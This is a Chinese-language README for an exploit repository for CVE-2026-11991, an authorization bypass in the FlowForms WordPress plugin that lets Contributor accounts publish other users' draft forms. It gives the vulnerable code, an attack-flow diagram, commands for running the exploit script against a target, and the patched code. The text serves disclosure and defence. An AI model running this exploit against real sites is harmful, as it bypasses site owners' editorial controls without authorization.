已认证(贡献者及以上)授权绕过,可在 FlowForms ≤ 1.1.1 中发布任意草稿表单
| 属性 | 值 |
|---|---|
| CVE ID | CVE-2026-11991 |
| CVSS 评分 | 6.2 — 中危 |
| CVSS 向量 | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C |
| CWE | CWE-639(通过用户可控密钥绕过授权) |
| 产品 | FlowForms — WordPress 对话式表单构建插件 |
| 受影响版本 | 所有版本,最高至 1.1.1 |
| 修复版本 | 1.1.2 |
| 研究人员 | Phantom Hat |
完整的白盒案例研究,包含源代码分析、输入流追踪和补丁对比:
FlowForms 在 flowforms/v1 命名空间下暴露了一个 REST API。发布端点:
POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish
接受 URL 路径中用户可控的 {id},并将草稿表单提升为线上状态。
/publish 路由的 permission_callback 仅执行了通用能力检查:
register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
'methods' => 'POST',
'callback' => [$this, 'publish_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts 是**贡献者(Contributor)**所拥有的能力——WordPress 有意限制该角色发布内容。代码对目标 form_id 完全没有所有权验证。任何已认证用户都可以发布站点上的任意草稿表单。
攻击者(贡献者) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) 以贡献者身份认证
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) 获取 REST nonce
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) 枚举草稿表单
│<─ "Form Not Published" ───────────│ (未认证响应)
│ │
│── POST /flowforms/v1/forms/ │ (4) 对任意草稿表单 ID
│ {id}/publish ─────────────>│ 触发发布
│ │ ← 无所有者检查
│<─ { "success": true } ────────────│
│ │
│ 表单现已在站点上线 │ (5) 草稿绕过
│ 无需编辑审批 │ 编辑工作流
贡献者(Contributor) 角色的已认证账户git clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--proxy http://127.0.0.1:8080 \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
该漏洞利用工具执行三个自动化步骤:
步骤 1 — 认证
以攻击者(贡献者)身份登录,并从 wp-admin 获取有效的 REST API nonce。
步骤 2 — 枚举草稿
在指定的 ID 范围内扫描 GET /flowform/{id}。返回 "Form Not Published" 的表单被收集为目标——这些是攻击者没有所有权的草稿表单。
步骤 3 — 发布
使用攻击者的 nonce 发送 POST /flowforms/v1/forms/{id}/publish。该端点接受请求,提升草稿状态并使表单上线——对所有权完全没有授权检查。
| 操作 | 详情 |
|---|---|
| 补丁 | 将通用的 edit_posts 检查替换为 current_user_can('edit_post', $form_id) — 第二个参数将能力检查绑定到特定的文章对象,强制执行 WordPress 所有权规则 |
| 缓解措施 | 在补丁发布前,如果插件处于活动状态,请限制 和 角色 |
// 存在漏洞
'permission_callback' => fn() => current_user_can('edit_posts'),
// 安全(已修补)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),
CVE-2026-11991-FlowForms-Exploit/
├── CVE-2026-11991-exploit.py # 功能完善的漏洞利用工具,带丰富 UI
├── requirements.txt # Python 依赖
└── README.md # 本文件
本工具仅供授权的安全测试和教育研究目的使用。 未经授权访问计算机系统在世界各地适用法律下均属违法行为。 作者不对本软件的滥用承担任何责任。 在测试任何非您拥有的系统之前,请务必获得明确的书面许可。
Phantom Hat — 独立安全研究员
本研究是负责任漏洞披露工作的一部分。
| 参数 | 描述 | 必填 |
|---|
--url | 目标 WordPress URL | ✅ |
--user | WordPress 用户名(贡献者及以上) | ✅ |
--password | WordPress 密码 | ✅ |
--num_forms | 要枚举的表单 ID 数量 | ✅ |
--id_start | 枚举的起始表单 ID | ✅ |
--proxy | 代理 URL(例如 http://127.0.0.1:8080) | ❌ |
贡献者(Contributor)作者(Author)